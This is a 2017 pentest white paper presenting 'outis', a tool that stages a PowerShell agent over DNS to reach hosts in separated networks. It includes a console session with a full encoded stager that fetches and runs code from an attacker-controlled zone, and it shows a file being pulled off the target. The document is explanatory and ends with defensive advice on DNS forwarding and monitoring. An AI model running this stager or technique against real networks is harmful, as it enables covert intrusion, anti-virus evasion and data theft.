IT SECURITY KNOW-HOW

Finn Steglich

DNS BACKCHANNEL

Using the Domain Name System to Communicate with Hosts in Separated Networks

May 2017

Introduction

In many penetration testing scenarios, firewalls and network separation restrict the connection options between systems. Consider these common examples:

1. You control a client system in the customer's local enterprise network. The domain user does not have proxy permissions and should not be able to download (hacking) tools from or upload (sensitive) data to internet systems.

2. You control a remote server using RDP, Citrix or a different technology. The configuration does not allow file exchange between your local system and the remote server.

3. You can access a WiFi network but do not have credentials for captive portal authentication.

In all of these cases, data exchange using state-based connections (TCP) or even directed datagrams (UDP) outside of the network borders will be prevented. However, Domain Name System (DNS) traffic will often be forwarded by a local name server.

This behavior is used by many tools to allow tunneling data in DNS requests and responses.

1. For instance iodine[1] allows tunneling of IP traffic through DNS. It greatly helps in the scenario described above in example 3 where you have administrative control of the system or root permissions and can setup TUN devices. For the other scenarios this might not be possible.

2. Other tools like dnsfilexfer[2], dnsftp[3] and (my personal favorite) dnscat2[4] allow simple file transfer capabilities (up to command-and-control channels) for unprivileged users over DNS.

The more features the tunneling solution brings, the higher complexity and file sizes usually become. One the one hand, you would like to have your backchannel to be encrypted and authenticated and not to endanger the security of the separated network. On the other hand, you usually need a way to transfer all of the needed software to the target system. And since there is no network except for DNS traffic, this might prove difficult (sometimes we might even have to type it).

So we thought about how post-exploitation agents like Empire[5] or Metasploit's meterpreter[6] usually do this. And then we wrote a tool on our own, an agent/handler framework for different platforms and transports using stages and up-to-date cryptography.

For the impatient, the link to the source code can be found at [7]. For the rest of this paper, I would like to tell you more about what it is and how to use it.

Staging

Post-exploitation frameworks often use staging technologies: A short snippet of shellcode or script (called stager) downloads the real software (called agent) that should run on the target system.

If we combine this idea with arbitrary communication channels like the aforementioned DNS backchannel, even large agents can be transferred to a target system in a separated network.

Some solutions propose the use of DNS TXT records which allows transfer of small text files. But they are sometimes blocked. Thus we implemented a stager that could also download the agent using A records (IPv4 addresses) if nothing else works.

For the platform of our stager and agent code we relied on PowerShell which allowed in-memory execution of the entire attack, thus being able to circumvent various anti-virus solutions and not leaving physical files on the target system.

Authentication and Encryption

We also wanted the communication between all systems to be authenticated, so that running the stager or agent on a target system would not leave this system open for arbitrary remote command execution.

Thus our stager incorporates an RSA public key fingerprint. With the agent code it will download the RSA public key and a signature of the code. Now, the stager can check whether the RSA key matches the fingerprint and whether the RSA signature correctly signs the agent code. Only afterwards, we will execute the agent on the target system.

The agent will wrap the DNS backchannel in a TLS stream and will once again check the fingerprint of the server key when doing so. Thus the further connection will be authenticated and encrypted.

Sample Run

For the following sample output of our tool outis[7], I installed the handler on the authoritative name server of the domain `zfs.sy.gs` and executed it with permissions to bind UDP port 53 and thus handle DNS requests for this domain.

After entering `run`, I copied and executed the generated stager on a Windows system. The communication between the Windows target system and the server only uses DNS forwarded by a local name server.

```
$ outis
outis> set TRANSPORT DNS
outis> set ZONE zfs.sy.gs
outis> set AGENTDEBUG TRUE
outis> info
[+] Options for the Handler:
Name              Value       Required  Description
----------------- ----------  --------  ----------------------------------------------------------------
TRANSPORT         DNS         True      Communication way between agent and handler (Options: REVERSETCP,
                                         DNS)
CHANNELENCRYPTION TLS         True      Encryption Protocol in the transport (Options: NONE, TLS)
PLATFORM          POWERSHELL  True      Platform of agent code (Options: POWERSHELL)
PROGRESSBAR       TRUE        True      Display a progressbar for uploading / downloading? (only if not
                                         debugging the relevant module) (Options: TRUE, FALSE)


[+] Options for the TRANSPORT module DNS:
Name      Value       Required  Description
--------- ----------  --------  ----------------------------------------------------------------------
ZONE      zfs.sy.gs   True      DNS Zone for handling requests
LHOST     0.0.0.0     True      Interface IP to listen on
LPORT     53          True      UDP-Port to listen on for DNS server
DNSTYPE   TXT         True      DNS type to use for the connection (stager only, the agent will
                                 enumerate all supported types on its own) (Options: TXT, A)
```

```
DNSSERVER              False     IP address of DNS server to connect for all queries
```

[+] Options for the PLATFORM module POWERSHELL:

Name	Value	Required	Description
STAGED	TRUE	True	Is the communication setup staged or not? (Options: TRUE, FALSE)
STAGEENCODING	TRUE	True	Should we send the staged agent in an encoded form (obscurity, not for security!) (Options: TRUE, FALSE)
STAGEAUTHENTICATION	TRUE	True	Should the stager verify the agent code before executing (RSA signature verification with certificate pinning) (Options: TRUE, FALSE)
STAGECERTIFICATEFILE	$TOOLPATH/data/outis.pem	False	File path of a PEM with both RSA key and certificate to sign and verify staged agent with (you can generate a selfsigned cert by using the script gencert.sh initially)
AGENTTYPE	DEFAULT	True	Defines which agent should be used (the default outis agent for this plattform, or some third party software we support) (Options: DEFAULT, DNSCAT2, DNSCAT2DOWNLOADER)
TIMEOUT	9	True	Number of seconds to wait for each request (currently only supported by DNS stagers)
RETRIES	2	True	Retry each request for this number of times (currently only supported by DNS stagers)
AGENTDEBUG	TRUE	True	Should the agent print and log debug messages (Options: TRUE, FALSE)

```
outis> generatestager
[+] Use the following stager code:
powershell.exe -Enc JAByADOARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7
```
```
    ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgACOAdAB5AHAAZQA9AFQAWA
    BUACAALQBOAGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkAcgbAHMALgAgACIAKQApAC4A
    UwBwAGwAaQB0ACgAJwAiAICcAKQBbADEAXQA7AGkAZgAoACEAJABjACkAewBpAGYAKAAkAHQAKwArAC0AbAB0ADIAKQB7ACQAaQAtAC0AOwBjAG
    8AbgB0AGkAbgB1AGUAOwB9AGIAcgBlAGEAawA7AH0AJAB0AD0AMAA7ACQAYQArAD0AJABjADsAfQAkAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6
    ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQApADsAJABiADOAJABhAC4ATAB1AG4AZwBOAGgAgAOwAkAGYAcAA9ACIAWA
    B4AEkAMgArAGUAQgoAGUAUgBMAFMATQBuAHIAVQBNAFgAbgBnAHIARABTAGQATwA1AGQAQOOAAwAGMAZAB2AHcAcwBKAGMAYwBbAEIAbgAvAGYA
    LwB3AEoATwBpAEIAVAAAA4AGIATwA2AHAAZgBXAFgAfgAdwBwAEUATwBQAFAAUgBsAFAAdgBnAAE8AbgBlAGcAYwBpAE8AYgBPAGEEAZABOAFAAVQBxAH
    AAZgBRADOAPQAiADsAJABpADoAMAAAAAT7ACQAYQA9ACQAYQB8ACUewAkAF8ALQBiAFgAbwByACQAZgBwAFsAJABpACsAKwAlACQAZgBwAC4ATAB1
    AG4AZwBOAGggAXQB9ADsAJABwAGsAPQBOAGUAdwAtAE8AYgBqAGUAGYAWwBOACAAUwB0AHIAaaQBuAGcAKAAkAGEALAAwACwANwA1ADUAKQA7ACQAcw
    BpAGcAPQBOAGUAdwAtAE8AYgBqAGUAGYAWwBOAGAAUwB0AHIAaQBuAGcAKAAkAGEALAA3ADUANQAsADYANAAPAONAsADYANAAPADUAQwAsADYANAAPADUAQwAAATAE8A
    YgBqAGUAYwBOACAAUwB0AHIAaQBuAGcAKAAkAGEALAAxADQAMwA5ACwAKAAkAGIALQAxADQAMwA5ACkAKQA7ACQAcwBoAGEAPQBOAGUAdwAtAE
    8AYgBqAGUAYwBOACAAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcAAoAHkALgBTAEgAQQQA1ADEAMgBNAGEAbgBhAGcAZQBk
    ADsAaQBmAGAAHAAAYByAGUALQBPAGIAagByBlAGMAdAAAgACQAcwBoAGEALGBDAG8AbQBQAHUAdAB1AEgAYQBzAGgAKAAkAHAAaw
    AuAFQAbwBDAGgAYQBYByAEEAcgByAGEAeQAoACkAKAKQAgACQAwWBDAG8AbgB2AGUAcgBOAF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA
    aQBuAGcAKAAkAGYAcAApAC9kAIAAtFAFMAeQBuAGMAVwBpAG4AZABvAHcAIAAAwACkALgBMAGUAbgBnAHQAaAAAgACOAbgBlACAAMAApAHsAIgBFAF
    IAUgBPAFIAMQAiADsAQRQB4AGkAdAAoADEAQB9ADsAJAB4ADOATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5
    AHAAdAByAGcACgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AU8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw
    BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A
    VABvAEMAaaBBhAHIAQQByAHIAYQB5ACgAKAQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG
    UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF
    AE4AVAAiADsASQBFAFggAIAAkAHMAOwA=
```

```
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (34332 bytes)...
100% (184 of 184) |#######################################################| Elapsed Time: 0:00:16 Time: 0:00:16
[+] Staging done
[+] Waiting for connection and TLS handshake...
[+] Initial connection with new agent started
[+] Upgrade to TLS done
outis session> [+] AGENT: Hello from Agent

outis session> download C:\testfile.txt /tmp/out.txt
[+] initiating download of remote file C:\testfile.txt to local file /tmp/out.txt
[+] agent reports a size of 3295 bytes for channel 1
100% (3295 of 3295) |####################################################| Elapsed Time: 0:00:00 Time: 0:00:00
[+] wrote 3295 bytes to file /tmp/out.txt
outis session> exit
Do you really want to exit the session and close the connection [y/N]? y
```

```
outis> exit
```

For proof of concept we implemented downloading and uploading of files. If you need more functions, I would currently recommend using the stager part to transfer software like dnscat2 to the target system. Use `set AGENTTYPE DNSCAT2` in our tool to enable this without having to transfer our agent first.

Summary and Solutions

DNS backchannel techniques are around for quite a while now but we still encounter many systems in intentionally separated network environments where this approach still allows us to open a communication channel outside of the network borders.

With outis[7] we implemented a stager based DNS backchannel tool that helps us demonstrating the issues easily and securely.

If you try to set up a network separation in your network, please keep these techniques in mind and prevent your name servers from forwarding arbitrary requests and responses. Also, monitor DNS traffic at your network borders and set up alert levels for misuse.

If you have any questions or comments, please let me know.

References

[1] Ekman, E., Andersson, B., and Bezemer, A.: iodine (2006), `http://code.kryo.se/iodine/` (Cited on page 1.)

[2] Jacobs, L.: dnsfilexfer (2014), `https://github.com/leonjza/dnsfilexfer` (Cited on page 1.)

[3] Breen, S. and Vinakovsky, D.: dnsftp (2014), `https://github.com/breenmachine/dnsftp` (Cited on page 1.)

[4] Bowes, R. et al.: dnscat2 (2015), `https://github.com/iagox86/dnscat2` (Cited on page 1.)

[5] Schroeder, W., Nelson, M., Warner, J. et al.: Empire (2016), `http://www.powershellempire.com/` (Cited on page 1.)

[6] Rapid7: metasploit (2005), `https://metasploit.com/` (Cited on page 1.)

[7] Steglich, F.: outis (2017), `https://github.com/SySS-Research/outis` (Cited on pages 1, 2, and 4.)

THE PENTEST EXPERTS